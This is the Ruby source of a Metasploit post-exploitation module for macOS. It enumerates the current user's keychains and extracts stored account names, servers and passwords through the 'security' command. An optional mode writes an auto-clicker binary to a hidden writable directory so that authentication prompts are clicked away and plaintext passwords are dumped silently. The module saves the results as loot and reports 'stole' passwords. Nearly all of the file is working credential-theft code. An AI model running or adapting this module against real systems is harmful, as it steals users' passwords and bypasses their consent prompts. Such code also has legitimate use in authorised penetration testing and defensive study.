161 lines
4.8 KiB
Ruby
161 lines
4.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Post
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include Msf::Post::OSX::System
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => 'OS X Gather Keychain Enumeration',
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'Description' => %q{
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This module presents a way to quickly go through the current user's keychains and
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collect data such as email accounts, servers, and other services. Please note:
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when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
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alert flash briefly on their screen that gets dismissed by a programatically triggered click.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
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'Platform' => [ 'osx' ],
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'SessionTypes' => [ 'meterpreter', 'shell' ]
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))
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register_options(
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[
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OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
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OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
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OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
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OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
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], self.class)
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end
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def list_keychains
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keychains = cmd_exec("security list")
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user = cmd_exec("whoami")
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print_status("The following keychains for #{user.strip} were found:")
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print_line(keychains.chomp)
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return keychains =~ /No such file or directory/ ? nil : keychains
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end
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def enum_accounts(keychains)
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user = cmd_exec("whoami").chomp
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out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
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accounts = []
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out.split("\n").each do |line|
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unless line =~ /NULL/
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case line
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when /\"acct\"/
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accounts << Hash.new
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accounts.last["acct"] = line.split('<blob>=')[1].split('"')[1]
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when /\"srvr\"/
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accounts.last["srvr"] = line.split('<blob>=')[1].split('"')[1]
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when /\"svce\"/
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accounts.last["svce"] = line.split('<blob>=')[1].split('"')[1]
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when /\"desc\"/
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accounts.last["desc"] = line.split('<blob>=')[1].split('"')[1]
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end
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end
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end
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accounts
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end
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def get_passwords(accounts)
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(1..accounts.count).each do |num|
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if accounts[num].has_key?("srvr")
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c = 'find-internet-password'
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s = accounts[num]["srvr"]
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else
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c = 'find-generic-password'
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s = accounts[num]["svce"]
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end
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cmd = cmd_exec("security #{c} -ga \"#{accounts[num]["acct"]}\" -s \"#{s}\" 2>&1")
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cmd.split("\n").each do |line|
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if line =~ /password: /
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unless line.split()[1].nil?
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accounts[num]["pass"] = line.split()[1].gsub("\"","")
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else
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accounts[num]["pass"] = nil
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end
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end
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end
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end
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return accounts
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end
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def save(data, kind='Keychain information')
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l = store_loot('macosx.keychain.info',
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'plain/text',
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session,
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data,
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'keychain_info.txt',
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'Mac Keychain Account/Server/Service/Description')
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print_good("#{@peer} - #{kind} saved in #{l}")
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end
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def run
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@peer = "#{session.session_host}:#{session.session_port}"
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keychains = list_keychains
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if keychains.nil?
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print_error("#{@peer} - Module timed out, no keychains found.")
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return
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end
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user = cmd_exec("/usr/bin/whoami").chomp
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accounts = enum_accounts(keychains)
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save(accounts)
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if datastore['GETPASS']
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if (datastore['GETPASS_AUTO_ACCEPT'])
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print_status("Writing auto-clicker to `#{clicker_file}'")
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write_file(clicker_file, clicker_bin)
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register_file_for_cleanup(clicker_file)
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print_status('Dumping keychain with auto-clicker...')
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passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
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save(passwords, 'Plaintext passwords')
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begin
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count = JSON.parse(passwords).count
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print_good("Successfully stole #{count} passwords")
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rescue JSON::ParserError => e
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print_error("Response was not valid JSON")
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end
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else
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begin
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passwords = get_passwords(accounts)
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rescue
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print_error("#{@peer} - Module timed out, no passwords found.")
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print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
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end
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save(passwords)
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end
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end
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end
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def clicker_file
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@clicker_file ||=
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"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
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end
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def clicker_bin
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File.read(File.join(
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Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
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))
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end
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end
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